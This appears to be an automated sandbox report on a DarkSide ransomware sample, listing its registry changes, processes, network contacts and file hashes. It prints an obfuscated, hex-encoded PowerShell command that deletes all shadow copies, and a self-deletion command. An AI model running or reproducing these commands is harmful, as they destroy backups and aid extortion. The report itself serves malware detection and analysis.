Analysis Overview
SHA256
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
Threat Level: Known bad
The file 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e was found to be: Known bad.
Malicious Activity Summary
DarkSide
VMProtect packed file
Modifies extensions of user files
Reads user/profile data of web browsers
Deletes itself
Sets desktop wallpaper using registry
Enumerates physical storage devices
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies Control Panel
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-05-16 21:21
Signatures
VMProtect packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2021-05-16 21:21
Reported
2021-05-16 21:25
Platform
win7v20210408
Max time kernel
72s
Max time network
96s
Command Line
Signatures
DarkSide
Modifies extensions of user files
VMProtect packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Enumerates physical storage devices
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | securebestapp20.com | udp |
| N/A | 8.8.8.8:53 | 1.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | securebestapp20.com | udp |
Files
memory/1060-61-0x0000000000110000-0x0000000000111000-memory.dmp
memory/1060-67-0x0000000000180000-0x0000000000181000-memory.dmp
memory/1060-71-0x00000000001C0000-0x00000000001C1000-memory.dmp
memory/1060-70-0x00000000001B0000-0x00000000001B1000-memory.dmp
memory/1060-69-0x00000000001A0000-0x00000000001A1000-memory.dmp
memory/1060-68-0x0000000000190000-0x0000000000191000-memory.dmp
memory/1060-74-0x00000000001F0000-0x00000000001F1000-memory.dmp
memory/1060-73-0x00000000001E0000-0x00000000001E1000-memory.dmp
memory/1060-76-0x00000000750C1000-0x00000000750C3000-memory.dmp
memory/1060-75-0x0000000000240000-0x0000000000BE8000-memory.dmp
memory/1060-72-0x00000000001D0000-0x00000000001D1000-memory.dmp
memory/1060-66-0x0000000000160000-0x0000000000161000-memory.dmp
memory/1060-65-0x0000000000150000-0x0000000000151000-memory.dmp
memory/1060-64-0x0000000000140000-0x0000000000141000-memory.dmp
memory/1060-63-0x0000000000130000-0x0000000000131000-memory.dmp
memory/1060-62-0x0000000000120000-0x0000000000121000-memory.dmp
memory/1060-60-0x0000000000100000-0x0000000000101000-memory.dmp
memory/1060-59-0x00000000000F0000-0x00000000000F1000-memory.dmp
memory/1556-78-0x0000000000000000-mapping.dmp
memory/1556-79-0x000007FEFB701000-0x000007FEFB703000-memory.dmp
memory/1556-81-0x000000001AD30000-0x000000001AD31000-memory.dmp
memory/1556-80-0x0000000001DC0000-0x0000000001DC1000-memory.dmp
memory/1556-82-0x0000000002440000-0x0000000002441000-memory.dmp
memory/1556-83-0x0000000002320000-0x0000000002321000-memory.dmp
memory/1556-84-0x000000001B920000-0x000000001B921000-memory.dmp
memory/1556-85-0x00000000026C0000-0x00000000026C1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 901746ed9dfab5c1d84b9fb413e72899 |
| SHA1 | 9020bd2fdbce79aa9e3e5b8b8e26ae1e15437ec2 |
| SHA256 | 6831bce606318535d4c1388d54b83687b0ebe3831d9ae98bf8ecb69983217b4f |
| SHA512 | 56b1b05183ae8ce8ef65749d42e161fab3e6da2e7bcab30acec064bb15d0b2b2ed7aab290c092e22c5f0a59b5ea78fc61bd7b3ad8496e16e697075dac8dd9532 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 6b0bab1d31c04afc3fa06e8389c8c62f |
| SHA1 | 88fef5af4957240df09f53ae771d4422d4acb759 |
| SHA256 | 68ff3f8c831f854654d43612ec785a8257c80785f5ee6b15c5fa5278272d761c |
| SHA512 | 50d59c657970a9630c99b723bcbbbfceff125a41fa4174929583a0ff409d518ac8c0ebfb9c61deea63f9e8437c8a07ea48e376f6caab6e587a24caa85741610e |
memory/2768-88-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-05-16 21:21
Reported
2021-05-16 21:24
Platform
win10v20210410
Max time kernel
70s
Max time network
110s
Command Line
Signatures
DarkSide
Modifies extensions of user files
VMProtect packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Enumerates physical storage devices
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1824 wrote to memory of 868 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1824 wrote to memory of 868 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1824 wrote to memory of 4912 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 1824 wrote to memory of 4912 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 1824 wrote to memory of 4912 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\SysWOW64\cmd.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | securebestapp20.com | udp |
| N/A | 185.105.109.19:443 | securebestapp20.com | tcp |
| N/A | 8.8.8.8:53 | 1.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 40.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 12.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 13.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 18.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 17.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 16.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 22.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 21.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 20.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 32.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 23.0.10.10.in-addr.arpa | udp |
| N/A | 10.10.0.22:5355 | udp | |
| N/A | 10.10.0.12:5355 | udp | |
| N/A | 10.10.0.18:5355 | udp | |
| N/A | 10.10.0.21:5355 | udp | |
| N/A | 10.10.0.20:5355 | udp | |
| N/A | 8.8.8.8:53 | 27.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 26.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 30.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 34.0.10.10.in-addr.arpa | udp |
| N/A | 10.10.0.27:5355 | udp | |
| N/A | 10.10.0.13:5355 | udp | |
| N/A | 10.10.0.17:5355 | udp | |
| N/A | 10.10.0.26:5355 | udp | |
| N/A | 10.10.0.30:5355 | udp | |
| N/A | 10.10.0.34:5355 | udp | |
| N/A | 10.10.0.16:5355 | udp | |
| N/A | 10.10.0.23:5355 | udp | |
| N/A | 10.10.0.32:5355 | udp | |
| N/A | 8.8.8.8:53 | 33.0.10.10.in-addr.arpa | udp |
| N/A | 10.10.0.33:5355 | udp | |
| N/A | 8.8.8.8:53 | 37.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 41.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 15.0.10.10.in-addr.arpa | udp |
| N/A | 10.10.0.37:5355 | udp | |
| N/A | 10.10.0.41:5355 | udp | |
| N/A | 10.10.0.15:5355 | udp | |
| N/A | 185.105.109.19:443 | securebestapp20.com | tcp |
Files
memory/1824-114-0x0000000000F30000-0x0000000000F31000-memory.dmp
memory/1824-115-0x0000000000F40000-0x0000000000F41000-memory.dmp
memory/1824-116-0x0000000000F50000-0x0000000000F51000-memory.dmp
memory/1824-117-0x0000000000FE0000-0x0000000000FE1000-memory.dmp
memory/1824-118-0x0000000001280000-0x0000000001281000-memory.dmp
memory/1824-119-0x0000000003340000-0x0000000003341000-memory.dmp
memory/1824-120-0x0000000003350000-0x0000000003351000-memory.dmp
memory/1824-121-0x0000000003360000-0x0000000003361000-memory.dmp
memory/1824-122-0x0000000003370000-0x0000000003371000-memory.dmp
memory/1824-123-0x0000000003380000-0x0000000003381000-memory.dmp
memory/1824-124-0x0000000003390000-0x0000000003391000-memory.dmp
memory/1824-125-0x00000000033A0000-0x00000000033A1000-memory.dmp
memory/1824-126-0x00000000033B0000-0x00000000033B1000-memory.dmp
memory/1824-127-0x00000000033C0000-0x00000000033C1000-memory.dmp
memory/1824-128-0x00000000033D0000-0x00000000033D1000-memory.dmp
memory/1824-129-0x00000000033E0000-0x00000000033E1000-memory.dmp
memory/1824-130-0x0000000001290000-0x0000000001C38000-memory.dmp
memory/868-132-0x0000000000000000-mapping.dmp
memory/868-140-0x000001F0287E0000-0x000001F0287E1000-memory.dmp
memory/868-144-0x000001F028990000-0x000001F028991000-memory.dmp
memory/868-145-0x000001F027D50000-0x000001F027D52000-memory.dmp
memory/868-146-0x000001F027D53000-0x000001F027D55000-memory.dmp
memory/868-155-0x000001F027D56000-0x000001F027D58000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 88c4a0b0f7daa8c9e64298e9c49d0ff2 |
| SHA1 | 02d878f60f1fc94e559bd5da4b0e541361736910 |
| SHA256 | ea8219b8115f267ce66fe2f096cdc6d4c7b8960011bb0a794f1fc17080bf00fc |
| SHA512 | 1cc7c35df425389b2c1ab9e33159e7e67d6aff38768780a770fbd3ebf1ff6e5fbcf0fa8e68417b5a52a2bce23699f55923b2589e2459dce335686b999f3404d2 |
memory/4912-163-0x0000000000000000-mapping.dmp